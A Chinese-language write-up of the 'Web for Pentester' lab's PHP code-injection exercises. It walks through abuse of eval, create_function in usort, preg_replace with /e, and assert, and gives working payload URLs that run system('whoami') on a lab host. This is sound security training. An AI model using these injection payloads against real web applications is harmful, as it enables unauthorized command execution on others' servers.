Web for pentester_writeup之Code injection篇
Code injection(代码注入)
Example 1
![1605154-20190808143257650-1309948164.png](https://i-blog.csdnimg.cn/blog_migrate/dfa57150807551ee7a18ad984f79cf3e.png)
<1> name=hacker’
添加一个单引号
![1605154-20190808143311050-821937799.png](https://i-blog.csdnimg.cn/blog_migrate/82a2caa5efa47834095c7876121d30cc.png)
<2> name=hacker”
添加一个双引号
![1605154-20190808143356350-2108491842.png](https://i-blog.csdnimg.cn/blog_migrate/662002273173a608ba49e99ea70214f6.png)
返回报错信息,分析可知执行了eval()程序
继续测试
![1605154-20190808143459406-1888671742.png](https://i-blog.csdnimg.cn/blog_migrate/4f2ba5667c0186cc4ae564968b1f0395.png)
这块有点复杂,我们先看一下源代码
<?php require_once("../header.php"); ?>
<?php
$str="echo \"Hello ".$_GET['name']."!!!\";";
eval($str);
?>
<?php require_once("../footer.php"); ?>
可知eval实际执行的函数是 echo "Hello ".$_GET['name']."!!!";
,这条语句中点号.
是字符串拼接.
根据上述信息我们可以构造一个执行whoami命令的脚本
Payload 1 结尾使用赋值的方法闭合语句
http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami'); $dummy="
![]()
实际执行的语句为
echo "Hello ".hacker".system('whoami'); $dummy="."!!!";
拼接一下变为
echo "Hello hacker".system('whoami'); $dummy="!!!";
从页面返回可以看出,系统先执行了whoami命令,然后执行输出
Payload 2
http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');%23
![]()
http://192.168.219.136/codeexec/example1.php?name=hacker".system('whoami');//
![]()
以上2种方式都可以成功执行命令,结尾直接使用#号或//注释后面的内容
Example 2
![1605154-20190808143708057-1571194764.png](https://i-blog.csdnimg.cn/blog_migrate/3be067361f018dab31a5e4d2b7110ff1.png)
使用单引号 ?order=id'
![1605154-20190808143728771-721286394.png](https://i-blog.csdnimg.cn/blog_migrate/72af552a22b953e23dd8ccb80ee58603.png)
发现使用的是usort()函数
查看源代码
if (isset($order)) {
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
}
尝试闭合构造如下:?order=id;}//
报错Parse error: syntax error, unexpected ';' 我们可能少了一个或者多个括号。?order=id);}//
警告Warning: strcmp() expects exactly 2 parameters, 1 given到报的不是语法错误,这个应该可行。?order=id));}//
继续加括号,报错Parse error: syntax error, unexpected ')'应该是多括号的原因。
Payload
http://192.168.219.136/codeexec/example2.php?order=id);}system('whoami');//
![]()
Example 3
![1605154-20190808143746427-1102653696.png](https://i-blog.csdnimg.cn/blog_migrate/16f933ce0f00a18e1927903f59a98c9b.png)
查看源代码
<?php require_once("../header.php"); ?>
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
<?php require_once("../footer.php"); ?>
preg_replace()
函数:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:$pattern
: 要搜索的模式,可以是字符串或一个字符串数组。$replacement
: 用于替换的字符串或字符串数组。$subject
: 要搜索替换的目标字符串或字符串数组。$limit
: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。$count
: 可选,为替换执行的次数。/e
修正符使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。
我们给pattern参数加上/e
修正符,并使得subject中有pattern的匹配,并把replacement改为我们要执行的命令
Payload
http://192.168.219.136/codeexec/example3.php?new=system('whoami')&pattern=/lamer/e&base=Hello%20lamer
![]()
注:php5.5版本以上就废弃了preg_replace
函数中 /e
这个修饰符,转而修改成 preg_replace _callback
Example 4
![1605154-20190808143810190-1192216016.png](https://i-blog.csdnimg.cn/blog_migrate/b755d4f8efa10998c96df166527f004c.png)
老套路,发现assert()
函数
Payload
http://192.168.219.136/codeexec/example4.php?name=hacker'.system(whoami).'
![]()
对PHP函数代码执行不是特别熟悉,所以主要参考了以下文章,写的很详细
参考文章:https://www.freebuf.com/sectool/168653.html